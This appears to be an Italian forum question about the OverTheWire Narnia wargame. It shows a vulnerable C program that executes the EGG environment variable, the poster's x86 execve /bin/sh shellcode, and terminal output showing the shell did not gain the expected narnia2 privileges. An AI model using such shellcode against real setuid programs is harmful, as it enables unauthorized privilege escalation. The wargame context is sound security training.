(Questa è una domanda riguardante una sfida in un wargame su overthewire.org chiamato Narnia)
Ecco il codice sorgente dello script vulnerabile "narnia1" che intendo sfruttare:
#include <stdio.h>
int main(){
int (*ret)();
if(getenv("EGG")==NULL){
printf("Give me something to execute at the env-variable EGG\n");
exit(1);
}
printf("Trying to execute EGG!\n");
ret = getenv("EGG");
ret();
return 0;
}
Quindi in pratica esegue le cose memorizzate nella variabile di ambiente "EGG".
Ho impostato "EGG" come shellcode come mostrato qui:
export EGG='python -c "print '\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x89\xc1\x89\xc2\xb0\x0b\xcd\x80\x31\xc0\x40\xcd\x80'"'
che esegue /bin/sh
.
Il proprietario di questo file (narnia1) è "narnia2" come mostrato di seguito, ci aspettiamo che la shell sia eseguita come "narnia2".
narnia1@narnia:/narnia$ ls -la
total 116
drwxr-xr-x 2 root root 4096 Nov 9 15:08 .
drwxr-xr-x 25 root root 4096 Mar 12 09:58 ..
-r-sr-x--- 1 narnia1 narnia0 7568 Nov 9 15:08 narnia0
-r--r----- 1 narnia0 narnia0 1186 Nov 9 15:08 narnia0.c
-r-sr-x--- 1 narnia2 narnia1 7404 Nov 9 15:08 narnia1
-r--r----- 1 narnia1 narnia1 1000 Nov 9 15:08 narnia1.c
...
Tuttavia, questo è quello che ho ottenuto:
narnia1@narnia:/narnia$ export EGG='python -c "print '\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x89\xc1\x89\xc2\xb0\x0b\xcd\x80\x31\xc0\x40\xcd\x80'"'
narnia1@narnia:/narnia$ ./narnia1
Trying to execute EGG!
$ whoami
narnia1
E non ho idea del perché questo mi dà una shell come "narnia1" invece di "narnia2".
Qualche idea?